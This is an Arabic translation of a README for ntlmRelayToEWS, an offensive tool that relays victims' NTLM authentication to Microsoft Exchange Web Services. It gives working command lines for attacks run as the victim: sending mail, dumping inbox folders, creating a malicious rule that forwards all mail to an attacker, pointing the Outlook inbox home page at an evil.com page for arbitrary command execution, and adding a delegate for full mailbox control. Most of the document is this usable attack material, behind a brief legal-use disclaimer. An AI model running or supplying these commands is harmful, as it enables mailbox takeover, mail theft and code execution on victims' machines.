
هجوم إعادة توجيه ntlm إلى Exchange Web Services
المؤلف: Arno0x0x - @Arno0x0x
ntlmRelayToEWS هي أداة لتنفيذ هجمات إعادة توجيه NTLM (ntlm relay) على خدمات الويب الخاصة بـ Exchange (EWS). تقوم الأداة بتشغيل مستمع SMB على المنفذ 445 ومستمع HTTP على المنفذ 80، في انتظار اتصال وارد من الضحية. بمجرد اتصال الضحية بأحد المستمعين، يتم بدء تفاوض NTLM وإعادة توجيهه إلى خادم EWS الهدف.
من الواضح أن هذه الأداة لا تقوم بتنفيذ كامل واجهة برمجة تطبيقات EWS، لذا يتم تنفيذ عدد محدود فقط من الخدمات التي قد تكون مفيدة في بعض سيناريوهات الهجوم. قد أقوم بإضافة المزيد في المستقبل. راجع قسم "الاستخدام" للحصول على فكرة عن استدعاءات EWS التي تم تنفيذها.
إصدار Exchange:
لقد اختبرت هذه الأداة فقط ضد Exchange Server 2010 SP2 (وهو قديم نوعًا ما بصراحة)، لذا فإن جميع قوالب طلبات SOAP الخاصة بـ EWS، بالإضافة إلى تحليل استجابات EWS، تم اختبارها فقط لهذا الإصدار من Exchange.
على الرغم من أنني لم اختبره بنفسي، فقد أبلغ البعض أن هذه الأداة تعمل أيضًا ضد Exchange 2016 server، دون أي تعديلات (أي: دون أي تغييرات على قوالب طلبات SOAP).
في حالة عدم عمل طلبات SOAP هذه على إصدار آخر من Exchange، فمن السهل جدًا إنشاء قوالب طلبات SOAP لتتناسب مع إصدار أحدث باستخدام واجهة برمجة تطبيقات EWS المُدارة من Microsoft في وضع التتبع والتقاط طلبات SOAP المناسبة (هكذا فعلتها!).
عميل SOAP لـ EWS:
كنت أتمنى استخدام عميل SOAP للحصول على واجهة مناسبة لإنشاء جميع طلبات SOAP تلقائيًا استنادًا إلى WSDL الخاص بـ Exchange. حاولت استخدام 'zeep' لكني اصطدمت بالحائط لجعلها تعمل مع WSDL الخاص بـ Exchange لأنها تتطلب تنزيل مساحات أسماء خارجية وبالتالي تتطلب اتصالاً بالإنترنت. أيضًا، مع 'zeep'، استخدام جلسة نقل مخصصة يتطلب Requests.session وهو ليس نوع جلسة HTTP(S) التي لدينا افتراضيًا مع HTTPClientRelay: كان سيتطلب إما إعادة هيكلة HTTPClientRelay لاستخدام 'Requests' (/أنا كسول) أو ببساطة جعل zeep ينشئ الرسائل باستخدام zeep.client.create_message() ثم إرسالها مع الجلسة المُعاد توجيهها التي لدينا بالفعل. أم هل الأمر لأنني مطور ضعيف؟ حسنًا...
ntlmRelayToEWS تتطلب تثبيتًا نظيفًا/صحيحًا لـ Impacket. لذا اتبع تعليماتهم للحصول على نسخة عاملة من Impacket.
ntlmRelayToEWS تنفذ الهجمات التالية، والتي تتم جميعها نيابة عن المستخدم المُعاد توجيهه (الضحية).
راجع المساعدة للحصول على معلومات إضافية: ./ntlmRelayToEWS -h. احصل على مزيد من معلومات التصحيح باستخدام العلم --verbose أو -v.
sendMail
إرسال بريد إلكتروني بتنسيق HTML إلى قائمة من الوجهات:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
استرجاع جميع العناصر من مجلد محدد مسبقًا (صندوق الوارد، العناصر المرسلة، التقويم، المهام):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
إنشاء قاعدة إعادة توجيه خبيثة تقوم بإعادة توجيه جميع الرسائل الواردة للضحية إلى عنوان بريد إلكتروني آخر:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
تحديد صفحة رئيسية لمجلد (عادةً لمجلد صندوق الوارد) عن طريق تحديد عنوان URL. هذه التقنية، التي كشف عنها SensePost/Etienne Stalmans، تسمح بتنفيذ أوامر عشوائية في برنامج Outlook الخاص بالضحية عن طريق تزوير صفحة HTML محددة: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
تعيين عنوان مفوض على صندوق البريد الأساسي للضحية. بمعنى آخر، يقوم الضحية بتفويض التحكم في صندوق بريده إلى شخص آخر. بمجرد القيام بذلك، فهذا يعني أن العنوان المفوض لديه تحكم كامل في صندوق بريد الضحية، وذلك ببساطة عن طريق فتحه كصندوق بريد إضافي في Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
من أجل جعل الضحية يرسل بيانات اعتماده إلى ntlmRelayToEWS، يمكنك استخدام أي من الطرق المعروفة التالية:
Invoke-SendEmail.ps1 لتحقيق ذلك.بناءً على Impacket و ntlmrelayx من Alberto Solino @agsolino.
هذه الأداة مخصصة للاستخدام القانوني والشرعي فقط:
نقلاً عن مؤلفي Empire: لا توجد طريقة لبناء أدوات هجومية مفيدة لصناعة الأمن المعلوماتي الشرعية مع منع الجهات الخبيثة من إساءة استخدامها في نفس الوقت.